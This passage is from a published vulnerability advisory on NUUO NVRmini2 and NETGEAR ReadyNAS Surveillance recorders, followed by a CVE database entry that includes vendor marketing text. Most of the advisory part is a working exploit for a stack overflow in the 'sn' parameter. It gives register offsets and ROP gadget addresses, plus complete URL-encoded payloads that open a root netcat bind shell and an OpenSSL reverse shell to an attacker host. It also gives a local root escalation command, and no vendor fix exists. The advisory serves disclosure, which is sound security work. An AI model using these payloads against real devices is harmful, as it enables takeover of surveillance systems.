(NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>
VAR-201608-0089 CVE-2016-5676 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. Supplementary information : CWE Vulnerability type by CWE-285: Improper Authorization ( Inappropriate authentication ) Has been identified. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Attackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's 